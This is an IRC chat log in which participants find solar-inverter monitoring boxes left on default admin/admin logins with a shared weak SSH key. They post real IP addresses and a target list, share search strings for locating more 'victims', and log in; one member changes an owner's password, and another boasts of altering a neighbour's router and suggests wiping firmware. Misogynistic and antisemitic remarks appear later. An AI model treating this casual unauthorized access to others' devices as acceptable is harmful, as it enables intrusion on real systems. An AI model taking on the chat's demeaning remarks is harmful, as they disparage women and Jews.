1638497;1491438375;mircea_popescu;anyway. the new password is now phuctor. 1638498;1491438376;asciilifeform;if you felt like. 1638499;1491438378;asciilifeform;lol! 1638500;1491438381;mircea_popescu;let 'em learn by typing. 1638501;1491438427;asciilifeform;!$ ssh 141.239.148.243 1638502;1491438427;scriba;ssh banner of 141.239.148.243 as seen on 2016-06-13: SSH-2.0-OpenSSH_5.1p1 Debian-5 1638503;1491438431;asciilifeform;aaaaha. 1638504;1491438455;CompanionCube;I would say 'what if the owner finds out'...but since they left it at admin/admin... 1638505;1491438467;mircea_popescu;CompanionCube the owner should find out. 1638506;1491438470;shinohai;(- ___ -) 1638507;1491438495;CompanionCube;mircea_popescu: so you're planning to turn the batteries of or something then 1638508;1491438497;asciilifeform;tomorrow's noose: 'nadia henninger and hanno boeck rescue ten thousand insecure solar...' 1638509;1491438500;mircea_popescu;nope. 1638510;1491438512;mircea_popescu;asciilifeform hey, it was published in the princeton review!!1 1638511;1491438533;asciilifeform;princetonischer beobachter. 1638512;1491438544;*;CompanionCube wonders how they would find out. It's not like they'd *notice* a changed password 1638513;1491438575;mircea_popescu;hey, ineptitude is not an excuse from duty. they shouyld find out. 1638514;1491438579;mircea_popescu;not like it's not published. 1638515;1491438594;phf;CompanionCube: they will most likely go and change something 10 months from now, then will spend couple of days searching for "that paper with password" 1638516;1491438601;asciilifeform;i once changed a neighbour's router admin pw to 'pigfucker' 1638517;1491438602;phf;*try and change 1638518;1491438606;asciilifeform;7 yrs and he never knew. 1638519;1491438622;asciilifeform;never reset it.. 1638520;1491438633;mircea_popescu;"it just works" 1638521;1491438637;asciilifeform;on the day i moved away -- it worked still. 1638522;1491438675;asciilifeform;phf: pw is usually trivially reset, with a button. which is why the humane thing to do is to wipe his firmware. 1638523;1491438688;asciilifeform;and when unit is replaced, wipe it again. until learns. 1638524;1491438692;asciilifeform;but who the hell has the patience for this. 1638525;1491438710;CompanionCube;also, shitty web UIs generally do not have that option. 1638526;1491438728;asciilifeform;http://69.91.192.223/home << even buggier 1638527;1491438761;mircea_popescu;asciilifeform if the item is anything like empire made, the reset button is up on the roof shimmied next to the chimney 1638528;1491438779;asciilifeform;mircea_popescu: actually there's a bunch of similar boxes near where i live 1638529;1491438786;asciilifeform;they are usually close to the electric meter. 1638530;1491438821;mircea_popescu;so basically, the idea here is "enphase energy" simply stamps the same (broken!) ssh key on all its boxes ? 1638531;1491438867;asciilifeform;http://128.135.118.180/home?locale=en << univ. of chicago ip range. 1638532;1491438873;asciilifeform;mircea_popescu: seems like it. 1638533;1491438880;asciilifeform;and default www creds. 1638534;1491438960;asciilifeform;mircea_popescu: this find is yours, qntra it if you feel like 1638535;1491438997;asciilifeform;System has been live since Wed May 30, 2012 08:47 AM CDT Currently 0 W Today 14.6 kWh Past Week 63.0 kWh Since Installation 169 MWh 1638536;1491439001;asciilifeform;^ above. notbad. 1638537;1491439038;asciilifeform;'Device Conditions and Controls' shows 126 ! sub-boxes. 1638538;1491439042;asciilifeform;apparently you can slave them. 1638539;1491439114;asciilifeform;http://128.135.118.180/inventory?locale=en << view all. 1638540;1491439145;asciilifeform;looks like we just made henninger a tenured prof 1638541;1491439163;asciilifeform;and boeck, a герой советского союза or sumthing. 1638542;1491439213;asciilifeform;incidentally this find can also be used to demonstrate the massive -ev of solar scamola. 1638543;1491439252;asciilifeform;( compare 169MWh over 5 yrs, cost from ordinary grid, to whatever 126 of these things cost... ) 1638544;1491439274;asciilifeform;this is data you couldn't beat out the vendor with any sized stick. 1638545;1491439278;*;shinohai reset all their DNS servers to google's 1638546;1491439279;asciilifeform;*out of the 1638547;1491439296;asciilifeform;shinohai: waste of time 1638548;1491439332;shinohai;meant "resets" 1638549;1491439400;asciilifeform;not all have default creds. ( http://165.124.180.22 , does not ) 1638550;1491439444;mircea_popescu;asciilifeform eh, hardly much of a find. 1638551;1491439453;mircea_popescu;i just linked a link from phuctor stats page. 1638552;1491439478;asciilifeform;it's a find. betcha the earlier link is whole uni. of chicago solar scamatron. 1638553;1491439485;asciilifeform;and betcha it cost'em millions in payola. 1638554;1491439487;mircea_popescu;prolly. 1638555;1491439500;asciilifeform;some of it maybe even went to obummer himself. 1638556;1491439507;asciilifeform;(whoknows) 1638557;1491439539;mircea_popescu;well, "cost them". obama gave them 48 mn or some shit, of which they kept 3, the obama-contractor kept 11, the obama-producer kept 16, and the end result was 100ish MW (wthose thigs aren't accurate) over 5 years ie about 5 grand worth of "Clean" power. 1638558;1491439556;mircea_popescu;except it produced so much solid waste it'll take a few GW to clean up to some storable state. 1638559;1491439566;asciilifeform;well yes. 1638560;1491439583;asciilifeform;( and we had a thread re cost of refining si, etc ) 1638561;1491439605;mircea_popescu;http://trilema.com/2016/heres-where-you-forget-about-wind-power-as-an-alternative-source-of-power/ in picrelated. 1638562;1491439622;asciilifeform;^ that's for when we find the windmill ssh key... 1638563;1491440197;asciilifeform;http://wotpaste.cascadianhacker.com/pastes/c09Lh/?raw=true << convenient list. 1638564;1491440226;asciilifeform;^ all Framedragger-scan ips having this modulus. 1638565;1491440442;asciilifeform;http://165.124.180.22/home << also uni of c. 1638566;1491440450;asciilifeform;buncha these. 1638567;1491440468;asciilifeform;^ 92 (!) subunits. 1638568;1491440536;asciilifeform;if mircea_popescu dun feel like qntra -- BingoBoingo , then ? 1638569;1491440649;asciilifeform;solar3.uchicago.edu << lol!! 1638570;1491440738;*;mircea_popescu just chopped up a coupla vanilla beans to sit in rum for eventual rompope 1638571;1491440764;mircea_popescu;BingoBoingo shinohai whover's awake. 1638572;1491440800;asciilifeform;the lifetime wattage statistic is what really melts asciilifeform's brain 1638573;1491440824;asciilifeform;we now have solid proof that the thing is -- beyond any possible doubt -- minus-ev 1638574;1491440828;mircea_popescu;for srs. this is actual data, as opposed to the bs that someone publishes. 1638575;1491440888;asciilifeform;oh mircea_popescu will like this: 1638576;1491440894;asciilifeform;https://archive.is/6xYvj 1638577;1491440896;asciilifeform;worx great 1638578;1491440903;asciilifeform;anybody wanna submit whole list ? 1638579;1491440909;asciilifeform;who is a top perlist 1638580;1491440911;asciilifeform;mod6 ? 1638581;1491440919;asciilifeform;( dun need login !! to work ) 1638582;1491440924;asciilifeform;they ALL expose wattage, plain. 1638583;1491440936;asciilifeform;lists : when installed, how many kW/h now, how many -- lifetime. 1638584;1491440945;asciilifeform;and how many panels. 1638585;1491440950;asciilifeform;(4th line in table.) 1638586;1491440972;asciilifeform;from this , and with a bit of legwork, could find out how much chump -- and u.s. treasury -- paid for this nonsense. 1638587;1491441013;asciilifeform;simply submit http://IP_ADDRESS/home?locale=en for ea. 1638588;1491441014;mircea_popescu;"chump". it's all paid by unfunded future payments which ain't fucking happening. 1638589;1491441026;asciilifeform;the chumper pays upfront, iirc 1/4 of cost. 1638590;1491441040;mircea_popescu;asciilifeform working on list. 1638591;1491441044;asciilifeform;aite. 1638592;1491441085;asciilifeform;oh and betcha they all have debianized ssh ~login~ keys also. 1638593;1491441109;mircea_popescu;asciilifeform only 28 items on your pastebin, was supposed to bne more ? 1638594;1491441133;asciilifeform;28 for this mod. 1638595;1491441137;asciilifeform;is all. 1638596;1491441162;asciilifeform;but these oughta be trivial to scan for, they load plain http wherever exposed on the next. 1638597;1491441163;asciilifeform;*net 1638598;1491441169;asciilifeform;if all you want is wattage stats. 1638599;1491441223;asciilifeform;https://www.google.com/search?q="Number+of+Microinverters+Online"&source=lnt&tbs=li:1&sa=X << moar. 1638600;1491441266;asciilifeform;a decent botnet could probably find all of them. 1638601;1491441269;asciilifeform;that currently exist. 1638602;1491441301;asciilifeform;or at least such that were plugged into external ip (why?! -- i have nfi) 1638603;1491441346;hanbot;http://btcbase.org/log/2017-04-06#1638497 << hahahaha. i can imagine w/e princeton folks flipping out between this (if reading logs, and/or chicago cronies panic at them) and the earlier email 1638604;1491441346;a111;Logged on 2017-04-06 00:26 mircea_popescu: anyway. the new password is now phuctor. 1638605;1491441379;asciilifeform;http://www.pjm.com/about-pjm/learning-center/price-ticker.aspx << prices of megawatt-hour in different regions of usa. 1638606;1491441385;asciilifeform;baltimore : 26 $. 1638607;1491441439;mircea_popescu;sounds about right 1638608;1491441440;CompanionCube;wait, you changed the password on multiple ones? 1638609;1491441447;asciilifeform;http://165.124.180.22/inventory?locale=en shows when installed panels. 1638610;1491441448;mircea_popescu;nope. 1638611;1491441452;asciilifeform;apr 26, 2011 1638612;1491441471;mircea_popescu;asciilifeform interestingly some don't respond. 1638613;1491441471;asciilifeform;79.8 MWh produced since !!! 1638614;1491441489;asciilifeform;mircea_popescu: some probably dead. or -- most likely -- dynamic ip 1638615;1491441495;mircea_popescu;yeah. 1638616;1491441495;asciilifeform;a fresh scan will find'em. 1638617;1491441510;mircea_popescu;i dunno we care enough to actually bother. will see what this list tallies up to. 1638618;1491441512;asciilifeform;80 MW/h is fiddybux!! 1638619;1491441519;asciilifeform;can you picture what 90 panels cost? 1638620;1491441524;asciilifeform;in 2011. 1638621;1491441646;mircea_popescu;certainly much more valid survey than what the pantsuit tribe customarily passes for "research" 1638622;1491441646;mircea_popescu;asciilifeform i can't imagine anyone paid for this. 1638623;1491441646;asciilifeform;the inverters ain't cheap, either. 1638624;1491441646;mircea_popescu;tax breaks. 1638625;1491441646;asciilifeform;'anyone' 1638626;1491441647;asciilifeform;i can't speak re serious inner-party (above box is 1 of the 3 uni of chicago found so far) but for proles, house owner is expected to front 1/4 - 1/2 of the cost. 1638627;1491441647;asciilifeform;the rest, yes, taxbreak. 1638628;1491441696;mircea_popescu;hanbot lulz. 1638629;1491441727;asciilifeform;mircea_popescu -- maybe worth a trilema piece ? 1638630;1491441743;mircea_popescu;yeah ima write it. 1638631;1491441749;mircea_popescu;pretty lulzy. 1638632;1491441827;asciilifeform;if you're archiving, archive the http://IP_ADDR/inventory?locale=en also -- it has the panel install dates. 1638633;1491441838;mircea_popescu;i am. 1638634;1491441841;asciilifeform;neato. 1638635;1491441853;*;asciilifeform awaits the delectable butthurts 1638636;1491442910;asciilifeform;http://btcbase.org/log/2017-04-06#1638494 << not one, phf 1638637;1491442910;a111;Logged on 2017-04-06 00:25 phf: asciilifeform: do you have a set of high dpi (150/200) bitmap fonts for x11 that you use by any chance? 1638638;1491442912;asciilifeform;i wish !! 1638639;1491442922;asciilifeform;phf: do you ? 1638640;1491443072;asciilifeform;meanwhile, on the ethertard planet : https://archive.is/0Ypri 1638641;1491443082;phf;i think i'm going to not do computers anymore. i'm done. 1638642;1491443125;asciilifeform;finally landed that coveted lighthouse keeper job phf ? 1638643;1491443192;phf;i'm going to become this guy instead http://farm6.staticflickr.com/5292/5561497850_c1f42f470a.jpg 1638644;1491443211;doppler;sign me up too 1638645;1491443297;mod6;<+asciilifeform> mod6 ? << need some perl? <+mircea_popescu> asciilifeform working on list. << looks like mp is on it. 1638646;1491443307;mircea_popescu;i am ya 1638647;1491443311;mod6;werd 1638648;1491443492;asciilifeform;'I regret to announce as cofounder of Matchpool that I am leaving this project. I was involved in architecting Matchpool, writing the white paper and writing the first draft of the smart contracts. I was not involved in the implementation of the ICO. I have asked internally what is going on with the funds you sent to Matchpool, but have not received a satisfactory answer.... 1638649;1491443500;asciilifeform;Over the last two days 37500 ETH has been withdrawn from the multisig wallet by the CEO, Yonatan Ben Shimon without any explanation or announcement due to the need for "hedging". Yonatan keeps claiming he's working with Bitcoin Suisse and it's all okay, but so far I haven't seen any evidence of this. I suggest you all demand an explanation and keep a close watch. In all likelihood your guppies are worthless- the terms and conditions 1638650;1491443500;asciilifeform;seem deliberately designed to prevent contributors having legal recourse in the case of misuse of your money. In either event, I believe the standards of transparency and integrity in this organization are well below what is needed for a blockchain project, which is why I can no longer a part of it.' 1638651;1491443506;asciilifeform;^ pasted for tehl0gz. 1638652;1491443543;*;asciilifeform had never heard of this particular set of heathens prior, but it is lulzy. 1638653;1491443559;asciilifeform;what, for instance, were 'guppies' ? 1638654;1491443581;*;asciilifeform brb, pet 1638655;1491443876;shinohai;Guppies are food for the sharks yo! 1638656;1491444278;BingoBoingo; if mircea_popescu dun feel like qntra -- BingoBoingo , then ? << I can/will qntra, but in the future when you are lulzing about the details of a thing and are unsure if editor is awake/digging-liming holes/trying to get older sober lady to 13th step him, maybe consider writing a qntra while you have and are playing with the details? Makes for more timely publication when editor is awake? Publication can happen faster when 1638657;1491444278;BingoBoingo; editor is verifying details in submission lulzed at in logs than when reconstructing them... 1638658;1491444325;mircea_popescu;give it a moment. 1638659;1491444334;BingoBoingo;cool 1638660;1491444410;*;shinohai was awake, but is rather unsure about Qntra submissions of late 1638661;1491444506;BingoBoingo; anyway, no explaining, ridiculous move. << perhaps move to lure pantsuits into self hanging? Either that or clog fake news circuit. 1638662;1491444833;BingoBoingo;With media favorite Katie Stewart out of whiteouse and fundraising, media has to eat intrigue actually generated by Trump 1638663;1491445178;BingoBoingo;In other news, Trumpreich endorsed by King of Jordan. 1638664;1491445642;deedbot;http://qntra.net/2017/04/trump-annouces-end-to-hussein-bahamas-era-policy-of-announcing-military-plans-months-in-advance/ << Qntra - Trump Annouces End To Hussein Bahamas Era Policy Of Announcing Military Plans Months In Advance 1638665;1491445664;mircea_popescu;asciilifeform lulz of all time : you can get further victims AS THEY ARE INDEXED BY GOOGLE through for instance searching for "800-00038-r08" or such strings. you get a very lulzy welcome if selecting eg "deutshc" : everything's "translation missing" 1638666;1491445693;BingoBoingo;In still further lulz, professionally black people criticize black people of Ferguson https://archive.is/yqwEV 1638667;1491446544;asciilifeform;mircea_popescu: http://btcbase.org/log/2017-04-06#1638665 >>> http://btcbase.org/log/2017-04-06#1638599 1638668;1491446544;a111;Logged on 2017-04-06 02:27 mircea_popescu: asciilifeform lulz of all time : you can get further victims AS THEY ARE INDEXED BY GOOGLE through for instance searching for "800-00038-r08" or such strings. you get a very lulzy welcome if selecting eg "deutshc" : everything's "translation missing" 1638669;1491446544;a111;Logged on 2017-04-06 01:13 asciilifeform: https://www.google.com/search?q="Number+of+Microinverters+Online"&source=lnt&tbs=li:1&sa=X << moar. 1638670;1491446717;mircea_popescu;ridoinculous. 1638671;1491446734;mircea_popescu;well my stab at it is published. 1638672;1491446743;mircea_popescu;ample room for more people to dig more lulz if so inclined. 1638673;1491447118;asciilifeform;no mention of how most of'em belong to uni of chicago 1638674;1491447130;asciilifeform;put footnote ? 1638675;1491447140;asciilifeform;imho it is a deep lol 1638676;1491447143;BingoBoingo;Or comment... 1638677;1491447161;mircea_popescu;comment worx 1638678;1491447199;shinohai;BingoBoingo: http://wotpaste.cascadianhacker.com/pastes/k35HX/?raw=true (Actually I do have a lulzy Qntra for this evening) 1638679;1491447236;BingoBoingo;Sometimes when you lol at a deeptail, it is easiest to write up the lollercoaster yourself. 1638680;1491447288;asciilifeform;BingoBoingo: writing is hardwork! 1638681;1491447364;*;mircea_popescu has revised some numbers, it turns out microinverters are generally about 200W rather than the more kw style stuff he remembered from youth 1638682;1491447391;BingoBoingo;Loading bricks is hard work. Writing is disciplined work. 1638683;1491447404;asciilifeform;also http://trilema.com/2017/the-incidental-humiliation-of-obamas-clean-energy-policies-marc-andreessens-internet-of-farts-and-other-such-comedic-gold-bricks/#comment-121750 1638684;1491447419;asciilifeform;mircea_popescu: these are per-panel 1638685;1491447427;asciilifeform;so 200W is correct 1638686;1491447442;asciilifeform;(generally biggest you can buy is 200) 1638687;1491447462;mircea_popescu;apparently 180 to 220W is 90% of the market. 1638688;1491447488;mircea_popescu;anyway, so 200W unit produced 731 Wh/day on 5year average 1638689;1491447553;deedbot;http://qntra.net/2017/04/prudes-attack-pence-security-detail/ << Qntra - Prudes Attack Pence Security Detail 1638690;1491447575;BingoBoingo;fxd 1638691;1491447685;trinque;"though no word was available as to whether the agent and his female companion explored a full range of disciplinary actions on their own before the tryst was interrupted." << top kek 1638692;1491447689;asciilifeform;mircea_popescu: 731 Wh is approx enough to run.. a pogo. 1638693;1491447694;deedbot;http://trilema.com/2017/the-incidental-humiliation-of-obamas-clean-energy-policies-marc-andreessens-internet-of-farts-and-other-such-comedic-gold-bricks/ << Trilema - The incidental humiliation of Obama's "clean energy" policies ; Marc Andreessen's Internet of Farts and other such comedic gold bricks. 1638694;1491447695;asciilifeform;for 24h. 1638695;1491447741;shinohai;!~tyvm 1638696;1491447742;jhvh1;shinohai: Error: "tyvm" is not a valid command. 1638697;1491447747;shinohai;D: 1638698;1491447763;BingoBoingo;ty shinohai 1638699;1491447767;shinohai;!~ty 1638700;1491447767;jhvh1;You are very welcome Daddy 1638701;1491447776;shinohai;and u BingoBoingo 1638702;1491447776;*;BingoBoingo did add not on Pence's own prudishness 1638703;1491447837;asciilifeform;mircea_popescu: phun phakt, solar cells quickly disappear under grime, dead leaves, bird shit, unless regularly cleaned (~nobody cleans.) 1638704;1491447872;asciilifeform;typical american residential roof is not 'user friendly', not flat. 1638705;1491447933;mircea_popescu;aha 1638706;1491447949;mircea_popescu;also added some clarification footnotes etc. 1638707;1491448024;asciilifeform;thing is apparently ~exactly~ like led light bulb. 1638708;1491448042;*;asciilifeform threw out 7th one this year, not long ago. 1638709;1491448169;mircea_popescu;phf asciilifeform to make you both feel better : sat i'm going to a "russian rock concert" at this massage parlour slash blinyi restaurant run by a buncha russian chicks. 1638710;1491448182;asciilifeform;lol! 1638711;1491448229;*;shinohai hopes mircea_popescu 's Russian chicks aren't anti-semitic 1638712;1491448242;mircea_popescu;why ? i'm no joo. 1638713;1491448314;shinohai;They might read trilema, see mircea_popescu in earlier days with joofro and start pogrom 1638714;1491448407;asciilifeform;also http://trilema.com/2017/the-incidental-humiliation-of-obamas-clean-energy-policies-marc-andreessens-internet-of-farts-and-other-such-comedic-gold-bricks/#comment-121751 1638715;1491448490;mircea_popescu;lel 1638716;1491448548;mircea_popescu;asciilifeform answer't. 1638717;1491448563;mircea_popescu;http://trilema.com/wp-content/uploads/2017/04/solar-lulz.txt << this is the dump 1638718;1491448573;asciilifeform;aah neato 1638719;1491448638;mircea_popescu;only 660 or so mIs, say about half mil total worth or so 1638720;1491448660;mircea_popescu;mebbe a whole mil. 1638721;1491448913;asciilifeform;betcha so much as the installation of a new ~table leg~ at, e.g., univ. of chicago, costs moar than that. 1638722;1491448946;asciilifeform;(and they have, what, 400 of the panels) 1638723;1491451140;asciilifeform;in other lulz, gzipped (individually) blox 0 ... 459205 take up: 1638724;1491451143;asciilifeform;82G . 1638725;1491451265;shinohai;trb blocks, now individually wrapped for your convenience. 1638726;1491451274;asciilifeform;that's 11 double-sided dvd. 1638727;1491451361;mircea_popescu;hefty 1638728;1491451367;asciilifeform;not so hefty. 1638729;1491451377;mircea_popescu;let's argue about it! 1638730;1491451379;asciilifeform;lel 1638731;1491451405;asciilifeform;about 1 $ worth of pressed disk, is the point. 1638732;1491451407;shinohai;or 8200 5.25 floppies 1638733;1491451428;shinohai;*3.5 1638734;1491451455;asciilifeform;59710578 . 1638735;1491451472;asciilifeform;you misplaced some zeroes somewhere, shinohai . 1638736;1491451515;asciilifeform;or nm, 58311. 1638737;1491451570;asciilifeform;at any rate, it'd cost same to press these as to press typical bloatmonster game 1638738;1491451580;asciilifeform;or winblowz 'msdn' collection. 1638739;1491451603;mircea_popescu;i've not yet had an 11 dvd game. 1638740;1491451663;asciilifeform;mircea_popescu: one of the flying sims i leeched on warez , for winblows box, was 40G or so 1638741;1491451674;mircea_popescu;prolly lotta maps. 1638742;1491451674;asciilifeform;so the day of 11 disk game, has probably come some time ago 1638743;1491451679;asciilifeform;maps, textures, aha 1638744;1491451933;asciilifeform;also betcha that when compressed ~properly~ (i.e. as asciilifeform described 2wks ago) it'll be not even 40G. 1638745;1491451975;asciilifeform;(replace sha256 hashes with indices on disk, for instance; record 'sequence number' in tx only if differs from default; ditto locktime) 1638746;1491451993;asciilifeform;possibly will fit on 1 dvd, then. 1638747;1491452004;asciilifeform;while remaining properly unzippable to classical form. 1638748;1491452056;asciilifeform;(i.e. it is legitimately isomorphic to the traditional form, there is nothing 'lossy' about this 'compressor') 1638749;1491452181;asciilifeform;gzip gives us ~20% shrink btw. 1638750;1491452213;asciilifeform;and that is ~per block~, rather than collectively 1638751;1491470947;Framedragger;http://trilema.com/2017/the-incidental-humiliation-of-obamas-clean-energy-policies-marc-andreessens-internet-of-farts-and-other-such-comedic-gold-bricks/ << amazing morning megalol 1638752;1491470958;Framedragger;http://btcbase.org/log/2017-04-06#1638486 << lol #2 1638753;1491470958;a111;Logged on 2017-04-06 00:23 asciilifeform: admin / admin 1638754;1491471028;Framedragger;that didn't work till i read that the password is now phuctor. omg lmao 1638755;1491471245;Framedragger;> Today 14.6 kWh Past Week 63.0 kWh 1638756;1491471245;Framedragger;very energy 1638757;1491473117;*;Framedragger just took part in a ridoinculous interview for 'IT person'. interviewee was a nice but 100% stressed gurl who is due to graduate with an MEng next year, and was barely able to tell the difference between static and dynamic typing. somethingsomething java. morning almost spoilt. "MEng" 1638758;1491473166;Framedragger;(in compsci no less) 1638759;1491474346;Framedragger;sent query to n-gate (in the sense of reducing meaning to a tweet and pretending that's communication) 1638760;1491475120;Framedragger;!!up DaSancho 1638761;1491475120;deedbot;DaSancho voiced for 30 minutes. 1638762;1491475248;Framedragger;DaSancho: what brings ye here? 1638763;1491477924;Framedragger;http://btcbase.org/log/2017-03-29#1634033 << that's all i have: http://imgur.com/a/SPFBI (stuff that was stickied on the parcel). i had unfortunately thrown out the 'postcard' from royal mail, but it was a single slip which literally only said "we can't post you this because this got held up. go online and put in a reference number". the latter opened a "PAY NOW" form, and that's it. 1638764;1491477924;a111;Logged on 2017-03-29 16:25 mircea_popescu: if you find it within yoruself to post forms you were issued that'd be grand. 1638765;1491477967;Framedragger;(again, i may have gotten more info by physically presenting myself at a particular delivery office, showing ID and so on, but i wasn't up for that.) 1638766;1491478094;Framedragger;(i do believe this is a simple instance of VAT being charged for overseas 'valuable imports', but then this never happened before when shipping via legal retailers etc.) 1638767;1491478978;Framedragger;rehosted here: http://fd.mkj.lt/stuff/import-1.jpg && http://fd.mkj.lt/stuff/import-2.jpg 1638768;1491479416;deedbot;http://phuctor.nosuchlabs.com/gpgkey/1B1B58577EC085775FD320B460F7C3DC6B08E6FFB2EBE04B7A162C5F609F0E9D << Recent Phuctorings. - Phuctored: 1107...9569 divides RSA Moduli belonging to '177.234.1.3 (ssh-rsa key from 177.234.1.3 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1638769;1491479416;deedbot;http://phuctor.nosuchlabs.com/gpgkey/D33126663C8161A8EF4DCCEAA5321D0CBF95441A3D35C0BAC2BAF6D2F4397C40 << Recent Phuctorings. - Phuctored: 1107...9569 divides RSA Moduli belonging to '177.234.11.75 (ssh-rsa key from 177.234.11.75 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1638770;1491479416;deedbot;http://phuctor.nosuchlabs.com/gpgkey/71AF9594F2393F6AB85B14C1C615C449E8833966B1FA30A198C98FC36750B4C5 << Recent Phuctorings. - Phuctored: 1107...9569 divides RSA Moduli belonging to '177.234.1.161 (ssh-rsa key from 177.234.1.161 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1638771;1491479417;deedbot;http://phuctor.nosuchlabs.com/gpgkey/1B1B58577EC085775FD320B460F7C3DC6B08E6FFB2EBE04B7A162C5F609F0E9D << Recent Phuctorings. - Phuctored: 1120...4129 divides RSA Moduli belonging to '177.234.1.3 (ssh-rsa key from 177.234.1.3 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (Unknown MX CHH) 1638772;1491480015;mircea_popescu;dat day when ben_vulpes 's pastatron allocates you UriNe as an identifier... 1638773;1491480710;mircea_popescu;holy shit they got some kefir in this country that'll melt your heart. 1638774;1491480844;mircea_popescu;http://btcbase.org/log/2017-04-06#1638757 << awww. 1638775;1491480844;a111;Logged on 2017-04-06 10:05 Framedragger just took part in a ridoinculous interview for 'IT person'. interviewee was a nice but 100% stressed gurl who is due to graduate with an MEng next year, and was barely able to tell the difference between static and dynamic typing. somethingsomething java. morning almost spoilt. "MEng" 1638776;1491480870;mircea_popescu;now tell me she wouldn't be happier as a declared slave for a republican lord ; rather than a doublespoken slave for nobody-in-particular in the stupid empire. 1638777;1491480893;mircea_popescu;i teach some basic mechanical engineering to ~all~ my girls. just because i can. 1638778;1491480900;Framedragger;she had a particular unpleasant unhappy look so yeah i think i agree lol 1638779;1491480962;Framedragger;"this is not my kind of place" "what am i doing with my life" "also i can't answer these questions" 1638780;1491481064;mircea_popescu;whoa, so they want VAT, AND a "royal mail intl handling fee" that's 10 bux. 1638781;1491481071;mircea_popescu;incredible. this is even legal ? 1638782;1491481126;Framedragger;admin fee for collecting the customs fee and mediating between customer and her majesty's revenue and customs. very legit 1638783;1491481135;mircea_popescu;"queries should be sent to the address above, where you will helpfully be informed they can not say anything else besides reading this notice to you." 1638784;1491481141;Framedragger;i dunno. re. VAT from overseas, yeah it's 'teh law', but yknow. 1638785;1491481155;Framedragger;that is exactly what it means mircea_popescu lol 1638786;1491481197;mircea_popescu;a sad little country. 1638787;1491481217;mircea_popescu;does that stamp say "redeliver on MUM" ? 1638788;1491481230;Framedragger;at least the currency will inflate now so that they can export ugly girls cheaper 1638789;1491481244;mircea_popescu;i don't think i ever saw anyone pay for a brit. 1638790;1491481279;mircea_popescu;even at a time people couldn't be arsed to ~physically inspect~ russkis anymore, just paid for the cargo whole. 1638791;1491481280;Framedragger;mircea_popescu: ahahahaha it does say "MUM" (should be "Mon" of course) 1638792;1491481297;mircea_popescu;Framedragger maybe they're serious, and intend to redeliver on your mum!!11 1638793;1491481306;Framedragger;:o 1638794;1491481316;mircea_popescu;aaaanyway 1638795;1491481415;mircea_popescu;http://btcbase.org/log/2017-04-06#1638766 <<< i expect the legal retailers have the common decency to ship from jurisdictions where there's some kind of vat countermeasure in place. 1638796;1491481415;a111;Logged on 2017-04-06 11:28 Framedragger: (i do believe this is a simple instance of VAT being charged for overseas 'valuable imports', but then this never happened before when shipping via legal retailers etc.) 1638797;1491481769;mircea_popescu;let's drive alfie up the wall a little 1638798;1491481779;mircea_popescu;asciilifeform https://www.google.com/search?q=phuctor&channel=fs&tbas=0&tbs=qdr:m&* << notice anything missing ? 1638799;1491481949;Framedragger;heh. well http://nosuchlabs.com/robots.txt does have "Disallow: /gpgkey/" but phuctor.nosuchlabs.com itself should still be indexed i think? 1638800;1491482024;mircea_popescu;except google can't index it because the /stats/ dies on it i guess. 1638801;1491482040;Framedragger;ah, hrm. 1638802;1491482041;mircea_popescu;and the root is not NOVEL. 1638803;1491482048;mircea_popescu;it's indexed alright but not in the past month 1638804;1491482132;mircea_popescu;now if someone were to make static multipage stats... 1638805;1491482312;Framedragger;hrm. :) what's the cheapest way to do it.. automate a long-timeout-and-also-retry downloader for /stats and then just re-host the cached downloaded copy? any use in that? 1638806;1491482600;mircea_popescu;lel. the cheapest is for the site to support it natively! 1638807;1491482623;Framedragger;notes! support! 1638808;1491482641;mircea_popescu;just got a 504 timeout on long term browser lel 1638809;1491482732;mircea_popescu;thing is, it doesnt' crash, it always comes up but you gotta know to retry. 1638810;1491482849;Framedragger;yeah. 1638811;1491484652;asciilifeform;http://btcbase.org/log/2017-04-06#1638798 << aha 1638812;1491484652;a111;Logged on 2017-04-06 12:29 mircea_popescu: asciilifeform https://www.google.com/search?q=phuctor&channel=fs&tbas=0&tbs=qdr:m&* << notice anything missing ? 1638813;1491484676;asciilifeform;http://btcbase.org/log/2017-04-06#1638799 << i put this in ~year ago, noticed that ~nobody respects 'robots.txt', and promptly forgot about it... 1638814;1491484676;a111;Logged on 2017-04-06 12:32 Framedragger: heh. well http://nosuchlabs.com/robots.txt does have "Disallow: /gpgkey/" but phuctor.nosuchlabs.com itself should still be indexed i think? 1638815;1491484694;asciilifeform;http://btcbase.org/log/2017-04-06#1638800 << entirely possible 1638816;1491484694;a111;Logged on 2017-04-06 12:33 mircea_popescu: except google can't index it because the /stats/ dies on it i guess. 1638817;1491484698;mircea_popescu;prolly should take it out. 1638818;1491484759;asciilifeform;yeah 1638819;1491484798;asciilifeform;http://btcbase.org/log/2017-04-06#1638806 << whole thing needs rewrite; we had the thread. 1638820;1491484798;a111;Logged on 2017-04-06 12:43 mircea_popescu: lel. the cheapest is for the site to support it natively! 1638821;1491484811;asciilifeform;( it is not, however, obvious to asciilifeform ~how~ . so not yet rewrote. ) 1638822;1491484827;mircea_popescu;ima publish a snapshot on trilema, for nao. 1638823;1491484838;mircea_popescu;ease some of teh pressure i'm guessing ? 1638824;1491484839;asciilifeform;sure why not 1638825;1491484844;asciilifeform;there's one on my www also 1638826;1491484847;asciilifeform;(from a few mo ago) 1638827;1491484931;asciilifeform;http://btcbase.org/log/2017-04-06#1638757 << why does mechanical engineer get fed java ? 1638828;1491484931;a111;Logged on 2017-04-06 10:05 Framedragger just took part in a ridoinculous interview for 'IT person'. interviewee was a nice but 100% stressed gurl who is due to graduate with an MEng next year, and was barely able to tell the difference between static and dynamic typing. somethingsomething java. morning almost spoilt. "MEng" 1638829;1491484971;mircea_popescu;anyone got an idea as to how i turn 1638830;1491484972;mircea_popescu; 60.213.15.140 (ssh-rsa key from 60.213.15.140 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) <sshscan-queries+60.213.15.140@mkj.lt>; 1638831;1491484972;Framedragger;'MEng' is just diploma title, you get master of engineering for software engineering, too (because reasons) 1638832;1491484984;mircea_popescu;into a more reasonable (ssh-rsa key from 60.213.15.140 13-14 June 2016 